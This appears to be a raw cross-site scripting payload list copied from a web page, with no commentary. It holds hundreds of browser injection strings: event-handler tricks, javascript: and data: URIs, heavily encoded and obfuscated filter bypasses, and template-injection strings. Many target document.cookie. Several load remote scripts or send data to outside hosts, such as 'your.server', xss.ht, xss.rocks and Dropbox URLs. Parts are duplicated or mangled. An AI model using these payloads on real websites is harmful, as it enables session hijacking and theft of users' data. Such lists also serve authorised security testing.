Select and right-click to cut me
click click {{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}} \u003cimg src onerror=alert(1)\u003e "> "> ';alert("ibrahimxss");// “>-setTimeout`\u0028alert(1)\u0029`-’ xss javascript:74163166147401571561541571411447514115414516216450615176 %22%3EEnter_Mouse_Pointer_Here_to_get_XSS%3C%5K/onpointerenter=alert(location)%3E%3! "{text:}" {text:} %7b%0a%20%20%22%64%61%74%61%22%3a%20%22%7b%74%65%78%74%3a%3c%69%6d%67%2f%73%72%63%3d%78%20%6f%6e%6c%6f%61%64%3d%63%6f%6e%66%69%72%6d%28%31%29%3e%7d%22%2c%0a%20%20%22%65%76%65%6e%74%49%44%22%3a%20%32%33%34%32%33%0a%7d “autofocus onclick=’alert() “autofocus onclick=’alert()’ ibrahimxss“autofocus onclick=’alert()’ <script type="text/javascript">javascript:alert(1);</script> “> ">?test=test "> ?test=test "> %22%3E%3Cimg/src=x/onerro=6%3E%3Cimg/src=%221%22/onerror=alert(1);%3E1 (Z("onerror="a=print,a`1`")) (Z("onerror="a=console,a.log`${cookie}`")) {{_toDisplayString.constructor('alert(1)')()}} alert(1)
click {{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}} \u003cimg src onerror=alert(1)\u003e "> "> ';alert("ibrahimxss");// “>-setTimeout`\u0028alert(1)\u0029`-’ xss javascript:74163166147401571561541571411447514115414516216450615176 %22%3EEnter_Mouse_Pointer_Here_to_get_XSS%3C%5K/onpointerenter=alert(location)%3E%3! "{text:}" {text:} %7b%0a%20%20%22%64%61%74%61%22%3a%20%22%7b%74%65%78%74%3a%3c%69%6d%67%2f%73%72%63%3d%78%20%6f%6e%6c%6f%61%64%3d%63%6f%6e%66%69%72%6d%28%31%29%3e%7d%22%2c%0a%20%20%22%65%76%65%6e%74%49%44%22%3a%20%32%33%34%32%33%0a%7d “autofocus onclick=’alert() “autofocus onclick=’alert()’ ibrahimxss“autofocus onclick=’alert()’ <script type="text/javascript">javascript:alert(1);</script> “> ">?test=test "> ?test=test "> %22%3E%3Cimg/src=x/onerro=6%3E%3Cimg/src=%221%22/onerror=alert(1);%3E1 (Z("onerror="a=print,a`1`")) (Z("onerror="a=console,a.log`${cookie}`")) {{_toDisplayString.constructor('alert(1)')()}} alert(1)
#
’}`)for(n=j=0;j<9;n+=M(i-65+j%3+(j++/3|0)*64))M=i=>i>64&i<960&i%64>1&C(i*i)>.7 vbscript:msgbox("XSS") "> click %3Cscript%3Efor((TESTXSS)in(self))eval(TESTXSS)(`${`TESTXSS`}`)%3C/script%3E img{background-image:url('javascript:alert()')} xss xss '?prompt`1`?' "])},alert(1));(function xss() {// ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y "}]}';alert(1);{{' 11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'1 \');confirm(1);// x");$=alert, $(1);// '|alert(1)|' '*prompt(1)*' #'*prompt(1)*' "> setInterval('ale'+'rt(10)'); XSS"onfocus="prompt(document.cookie)"autofocus=" %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %253cimg%20onerror=alert(1)%20src=a%253e %3cimg onerror=alert(1) src=a%3e javascript:x='%27-alert(1)-%27'; %3Cscript%3Ealert(1)%3C/script%3E##1 (alert)(1) "/> "`'> \xE2\x81\x9Fjavascript:javascript:confirm(1) #{{constructor.constructor(alert`1`)()}} Click Here! <--` --!> click L1k0r alert(1) X uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e javascript:%ef%bb%bfalert(XSS) %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F '">>"> <--%253cimg%20onerror=alert(1)%20src=a%253e --!> javascript:{ alert`0` } <img src=x onError=import('//1152848220/')> %2sscript%2ualert()%2s/script%2u "><xss/contenteditable/autofocus/onfocus="alert(1)">%232%20XSS</xss> <img/src/onerror=alert(1337)> <img/src/onerror= alert(31337)> <svg on onload=(alert)(document.domain)> <img ignored=() src=x onerror=prompt(1)> <svg onx=() onload=(confirm)(document.cookie)> <Rxss onscrollend=alert(origin) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br>++</Rxss> “><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; "onx+%00+onpointerenter%3dalert(domain)+x" "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F "><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; <svg/onload=location/**/='https://your.server/'+document.domain> <img/src=x onError="`${x}`;alert(`Ex.Mi`);"> <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap %3C%5K/onpointerenter=alert(1)> <P/onpointerenter=alert(1)> '-[document.domain].map(alert)-' <meter onmouseover="alert(1)" '">><div><meter onmouseover="alert(1)"</div>" [][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)() []["filter"]["constructor"]("alert(1)")() /%09/javascript:alert(1) <!--*/!'*/!>%0D<svg/onload=confirm'1'// 1"><%3Csvg onload=alert%28document.cookie%29>' /";%20confirm(1);%20// %22%3e%3c%5K/onwheel=alert(1)%3emouse%20wheel%20here%3c%21-- %22})))}catch(e){alert(document.domain);}// %22-confirm(1)-%22 //%250Aalert?.(1)// %253Cscript%253Ealert('XSS')%253C%252Fscript%253E %3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2fscript%3E %3cscript%3ealert()%3c/script> -alert(23)/ ";a=prompt,a(1)// "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// '-confirm(document.cookie)-' data:text/html,<script>alert(0)</script> foo<script>alert(document.cookie)</script> #<iframe src=javascript:alert(1)> "><img src=x onerror=alert(1);> <--'<Script>Window.Confirm(2)</Script> --!> <img/src/onerror=alert('kalendra')> javascript:alert(1); javascript:alert(1); /"><img src=y onerror=confirm(1)> ""><img src=y onerror=confirm(1)> #""><img src=y onerror=confirm(1)> <input onfocus="alert(0);" autofocus> <img src=# onerror=alert(1)> ">><marquee><img src=x onerror=confirm(1)></marquee>" onerror=alert(0);> onerror=alert();><script>alert();</script> &redirect?url=javascript://alert(document.cookie) ?url=javscript:alert(1) &redirect_url=javscript:alert(1) &redirect_to=javascript:alert(document.domain) %2500%27onmouseover=%27window.stop();alert(document.domain)%27 ?path=%2500%27onmouseover=%27window.stop();alert(document.domain)%27 <ScRiPt>alert(1)</sCriPt> <svg/onload=alert(1)>"@gmail.com ?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w \u003e\u003cimg src=1 onerror=alert(0)\u003e "/><svg/onload=prompt(1)> test%22%7D%29%3B%7D%29%3Balert%281%29%3B%2f%2f test123";(alert)("xss")// <x onmouseup=alert(1)>click this! {alert('document.cookie')} jane('"><script>alert(2)</script>)@gmail.com <!--><svg onload=alert(1)--> #<!--><svg onload=alert(1)--> alert`1` #alert`1` ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> `${alert(1)}` "oncut=alert(1) "><img+src=x+onerror=alert(1)> <scr\uffffipt>alert(0)</script> <img src=x onerror=alert(document.domain)> 1337 '><marquee onstart="[cookie].find(confirm)"> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> \><plaintext/onmouseover=prompt(1) a=`\u003c`,b=`\u003e`,location=`javascript:[].findIndex(dump)+(/${a}img src=# onerror=alert(1)${b}/.source)` '-confirm(1)- #'-confirm(1)- "-confirm(1)-" '-confirm(document.domain)-' %22%3E%3Cimg%20src=x%20onerror=confirm%281%29;%3E ');confirm(1);// <script>alert`1`</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <script src="data:,alert(1)">/</script> <svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)> x"><svg%250donload%3D"window%5B%27alert%27%5D(location[%27hostname%27])" " formaction=java%26Tab%3bscript:ale%26Tab%3brt() type=image src="" setInterval`alert\x2823\x29` <a href="data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">Click Here</a> { Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= (PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) : <script>alert('XSS')</script> } window.name='javascript:alert\x2823\x29'; Reflect.set.call`${location}${'href'}${name}` Reflect.apply.call`${alert}${undefined}${[23]}` navigation.navigate`javascript:alert\x2823\x29` var{haha:onerror=alert}=0;throw 1 'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval} onerror=eval;throw'=alert\x2823\x29'; {onerror=alert}throw 23 throw{},onerror??=alert,"XSS"??123 http://example.com/?%0aalert(23) window.name='javascript:alert(23)'; throw onerror=eval,SyntaxError`alert\x2823\x29` x='javascript:alert\x2823\x29';x={x:location}=this window.name="<img src=x onerror=alert(23)>" <JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName> document.body.innerHTML="\u003cimg src=x onerror=alert\u002823\u0029\u003e"; document.body.innerHTML="<img src=x onerror=alert(23)>" document.body.innerHTML=document.body.innerText document.location='javascript:alert%2823%29' <svg/onload='alert( 23 )'> onerror=eval;throw'alert\x2845\x29'; prompt`45` ([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')() [45].some.alert() Set.constructor`alert\x2845\x29` +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- " onload="document.cookie" foobar=" location='javaScriPt:alert\x2845\x29' 'javaScriPt:alert\x2845\x29' location=/javascript:alert%2823%29/.source; <img/src="x"/onerror=alert(23)> location='JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2] 'JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2] window.name="alert(23)"; '1/-alert\5023\51/'; throw/**/Uncaught=window.onerror=eval,";alert\5023\51" <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e %3Csvg%20onload=alert(1)%3E %3Cimg%20src=x%20onerror=alert(1)%3E %22%3C!--%3E%3CSvg%20OnLoad=confirm?.(/Yetixx%F0%9F%98%88/)%3C!--1%22%29%22%3C%21--%3E%3CSvg+OnLoad%3Dconfirm%3f%2e%28%2fYetixx%2f%29%3C%21-- [].sort.call`${alert}23` throw onerror=eval,SyntaxError`alert\x2823\x29` <object src=1 href=1 onerror="javascript:alert(1)"></object> <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> %22%3E%3Cli%20style=list-style:url()%20onerror=javascript:alert(1)%3E%20%3Cdiv%20sty <scr\x00ipt>alert('Steiner254')</scr\x00ipt> <ScRiPt>alert('Steiner254');</ScRiPt> <iframe/onload=alert(0);> #<iframe/onload=alert(0);> setTimeout('ale'+'rt(2)'); top['alert'](3) 'te' / alert('/') / 'xt'; ></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> '-alert(0)-' ',document.location='javascript:document.domain',' blalala');alert(1);('a #blalala');alert(1);('a eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe "><script>alert(“hello”)</script>jnyf0 <IMG SRC=javascript:alert('XSS')> <img/src/onerror=alert(1) <div onpointerenter="alert(45)">MOVE HERE</div> <body ontouchmove=alert(1)> <body ontouchend=alert(1)> <IMG SRC=1 ONERROR=alert(1)> \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) java%09script:alert(1) \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript://%0Aalert(1) javascript://anything%0D%0A%0D%0Awindow.alert(1) <details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);"> <iframe srcdoc="<img src=x onerror=alert(998282828181100019)>"></iframe> /path?next=javascript:top[/al/.source+/ert/.source](document.cookie) login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain <<SCRIPT>alert("test");//<</SCRIPT> <SCRIPT SRC=https://xss.rocks/xss.js?< B > <BODY ONLOAD=alert('XSS')> <TABLE BACKGROUND="javascript:alert('XSS')"> 444-555-4455 <img src=x onerror=alert(1)> <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)> <img/src="x"/onerror="[boom]"> %3cscript%3ealert(1)%3c/script> "}]}';</script><script>alert('You got XSSed')</script> </script><script>alert('You got XSSed')</script> #</script><script>alert('You got XSSed')</script> "}]}';alert('You got XSSed')</script> test“autofocus onclick=’alert()’ <img src="data:image/svg+xml,<svg onload='top[//.source+//ert//.source](document.cookie)'"> <iframe srcdoc="<script>top[//.source+//ert//.source](document.cookie)</script>"></iframe> <a href="/*">*/)});function+__MobileAppList(){alert(1)}//> "><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c"> "*alert(1)*" xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!-- <s<script>cript>alert()</s<script>cript> alert`23` window.name="javascript:alert(23)"; eval.call`${'alert\x2823\x29'}` eval.apply`${[`alert\x2823\x29`]}` setTimeout`alert\x2823\x29` onerror=alert;throw 23; param A=<script>alert(" #*/confirm(1) javascript:%61lert(1) “`’><script>\x0Djavascript:alert(document.cookie)</script> x"><x a="><script>alert(1)</script> <a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'> (A(%22onerror=%22alert%601%60%22)) <fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074/AAAA/> onfocus=alert(1) autofocus> '><img+sRc=l+oNerrOr=prompt(document.cookie)+x> “ OnMouseOver=”prompt`1` "oncut="alert() xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!-- <script>window['al'+'ert']()</script> <script>top[`alert`]()</script> <img src=x onerror="js:abc='al'+'ert()';eval(abc)" /> <script>window[['conf','irm'].toString().replaceAll(',',"")]()</script> %26#x6c;t;\\x73cript>\\u0061lert(1)%26#x6c;t;/\\x73cript> ‘onfocus=’alert(1)’ %2527%2520onfocus%253D%2527alert%25281%2529%2527%2520 ‘ onfocus=’alert(1)’ autofocus=’ <img%20src=x%20onerror=”%26%2397%26%23108%26%23101%26%23114%26%23116(1)”> "><div class=progress><div onwebkitanimationstart=prompt(document.domain)> /on<script>load=prompt(document.cookie);> quot;">"onmousemove=alert('flag{THIS_IS_THE_FLAG}');"@evil.com</a> javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie “javascript:var{a:onerror}={a:alert};throw%20document.cookie” ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1) <img/src=`%00`%20onerror=this.onerror=confirm(1) <svg><script%20?>confirm(1) qwe"srcdoc="\u003ce<script%26Tab;src=//dom.xss>\u003ce</script%26Tab;e> ';window/*aabb*/['al'%2b'ert'](document./*aabb*/location);// <img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()"> anything&callback=%22;alert%60XSS_POC_BY_SAAJAN_BHUJEL%60;%2f%2f anything&callback=";alert`XSS_POC_BY_SAAJAN_BHUJEL`;// <%<script>alert(1)</script> " onload=alert(origin) value=" javascript%3Avar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%2520document.cookie "><img src="x" onerror=alert(1337) /> <script>alert()</script>”/></style> %22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][0])](document[%27cooki%27%2B(['e','c','z'][0])]);%22 alert(document.domain) /*alert(1)*/ alert(1) \”}})})-confirm`1`;(function(){({if(){/*/// \”}})})-confirm`1`(a=>{({b:{/*/// <base href="javascript:alert('XSS');"> <bgsound src="javascript:alert('XSS');"> <isindex action="javascript:alert('XSS')"> <command onclick="alert('XSS')">Command</command> <fieldset form="javascript:alert('XSS')"> <frameset onload="alert('XSS')"></frameset> <applet code="javascript:alert('XSS')"></applet> <button formaction="javascript:alert('XSS')">Click me</button> <div oncopy="alert('XSS')">Copy me</div> <form onsubmit="alert('XSS')"> <select onchange="alert('XSS')"><option>Option</option></select> <input type="image" src="invalid" onerror="alert('XSS')"> <div style="border-image-source: url(javascript:alert('XSS'));"> <datalist id="xss"><option value="<script>alert('XSS')</script>"></datalist> <meter value=" " min=" " max=" " low=" " high=" " onmouseover="alert('XSS')"></meter> <optgroup label="XSS" onmouseenter="alert('XSS')"></optgroup> <progress onmouseover="alert('XSS')"></progress> <track oncuechange="alert('XSS')"></track> <link rel="stylesheet" href="data:text/css,*{background:url('javascript:alert(XSS)')}"> <div style="list-style-image: url(javascript:alert('XSS'));"> <div data-url="javascript:alert('XSS')"></div> <div style="content: url(javascript:alert('XSS'));"> <style>*{background-image: url(javascript:alert('XSS'))}</style> <div style="cursor: url(javascript:alert('XSS')), auto;"> <meta http-equiv="refresh" content=" ; url=javascript:alert('XSS');"> <input type="button" value="XSS" onclick="alert('XSS')"> <svg><animate attributeName="xlink:href" to="javascript:alert('XSS')" /></svg> <math href="javascript:alert('XSS')" /> <xss style="x:expression(alert('XSS'))"> <form action="javascript:alert('XSS')"><input type="submit" value="XSS"></form> <div style="width:expression(alert('XSS'))"> <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))> "<zzz><style>@keyframes+x+{}</style><xss+style="animation-Name:+x"+onwebkitanimationstart="print()"></xss> <script>eval('\x61lert(\'33\')')</script> <script>\u0061lert('22')</script> <marquee onstart="alert('XSS')">Start</marquee> <style>@import 'javascript:alert(XSS)';</style> <link rel="import" href="data:text/html,<script>alert('XSS')</script>"> <div onkeyup="alert('XSS')">Press a key</div> <input onblur="alert('XSS')" value="Blur me"> %3Cscript%3E%60alert%60%28%2FXSS%2F%29%3B%3C%2Fscript%3E %3Cimg%20src%3Dx%20onerror%3D%60alert%28%2FXSS%2F%29%60%3E %3Csvg%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fsvg%3E %3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%2FXSS%2F%29%3B%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E %3Cinput%20type%3D%22text%22%20value%3D%22%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E%22%3E %3Cbody%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fbody%3E %3Cdiv%20style%3D%22width%3A%20expression%28alert%28%2FXSS%2F%29%29%3B%22%3E%3C%2Fdiv%3E %3Cbutton%20onclick%3D%60alert%28%2FXSS%2F%29%60%3EClick%20me%3C%2Fbutton%3E %3Cform%20action%3D%22javascript%3Aalert%28%2FXSS%2F%29%22%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E %3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Djavascript%3Aalert%28%2FXSS%2F%29%22%3E %3Csvg%20onload%3D%60alert%28%60XSS%60%29%60%3E %3Cimg%20src%3Dx%20onerror%3D%60alert%28%60XSS%60%29%60%3E %3Cbody%20onload%3D%60alert%28%60XSS%60%29%60%3E %3Ciframe%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fiframe%3E %3Cinput%20onfocus%3D%60alert%28%60XSS%60%29%60%3E %3Cbutton%20onclick%3D%60alert%28%60XSS%60%29%60%3EClick%3C%2Fbutton%3E %3Cform%20action%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E %3Cobject%20data%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fobject%3E %3Cembed%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E %3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%60XSS%60%29%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E console.log(document.domain) <img src="" onerror="alert(document.cookie)"> <img src="abc" onerror="alert(1)"> =a=document.domain;top["al"%2b"ert"](/%2a%2a/a)> a=document.domain;top["al"%2b"ert"](/%2a%2a/a)> xss=*/prompt("XSS")/*& <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> <dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x> %09Jav%09ascript:alert(document.domain) javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); javascript:confirm(1) <math><style><img src onerror=alert(2)></style></math> <img/src/onerror=alert/*1337*/(1)> <script>alert(/Chrome%20XSS%20filter%20bypass/);</script> javascript:document.getElementsByTagName(%60body%60)%5B0%5D.innerHTML=%60%3Ch1%3Ehacked%3C/h1%3E%60// "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==> ”><svg onload=alert("1")> "><svg onload=alert@"1")> "><svg onload=alert&amp;#x00000040"1")> "><svg onload=alert&gt;#x00000040"1")> "><svg onload=alert"#x00000040"1")> "><svg onload=alert&#x27;#x00000040"1")> "><svg onload=alert/#x00000040"1")> "><svg onload=alert&amp;#x27;#x00000040"1")> "><svg onload=alert&#x2F;#x00000040"1")> "><svg onload=alert&#x2F;#x00000040"1")> "><img%20src=x%20onerror="alert(%27POC%20By%20DrakenKun%27)" asdf"onload%3d"alert('Slax Was Here!')"asdf {{$emit.constructor`alert(1)`()}} <x @click=_withCtx.constructor`alert(1)`()>click</x> <a href=”javas cript:alert(document.cookie)” >Testing.com </a> "><img src="x" > page=1"><Svg Only=1 OnLoad=confirm(document.domain)> ' onfocus='alert(1)' "><Svg Only=1 OnLoad=confirm(document.domain)> "%2F><%2Fscript><script>alert%28document.cookie%29<%2Fscript> %2527%2520onmouseover%253D%2527alert%25281%2529%2527%2520 <svg+onload%3dprompt%26%230000000040document.domain)> {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}} <A HREF="http://0102.0146.0007.00000223/">XSS</A> <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> <iframe src="	javascript:prompt(1)	"> <svg><style>{font-family:'<iframe/onload=confirm(1)>' <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript:confirm(1)" <img src=``
 onerror=alert(1)
 <script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <form><a href="javascript:\u0061lert(1)">X </script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'> <img/	  src=`~` onerror=prompt(1)> <form><iframe 	  src="javascript:alert(1)" 	;> <a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a http://www.google<script .com>alert(document.location)</script <a href=[�]"� onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( �</form><input type="date" onfocus="alert(1)"> <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ <iframe srcdoc='<body onload=prompt(1)>'> <a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a> <script ~~~>alert(0%0)</script ~~~> <style/onload=<!--	> alert (1)> <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1) "><svg><style>{-o-link-source:'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT:alert(1) //<form/action=javascript:alert(document.cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style> <a/href="javascript: javascript:prompt(1)"><input type="X"> </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera} <a href="javascript:\u0061le%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT:alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript:alert(document.cookie)>Click Here</a> <%<!--'%><script>alert(1);</script --> <input value=<><iframe/src=javascript:confirm(1) http://www.<script>alert(1)</script .com <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe> <svg><script ?>alert(1) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <img src=`xx:xx`onerror=alert(1)> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script <object data=javascript:\u0061le%72t(1)> <script>+-+-1-+-+alert(1)</script> <script itworksinallbrowsers>/*<script* */alert(1)</script <img src ?itworksonchrome?\/onerror = alert(1) <svg><script>//
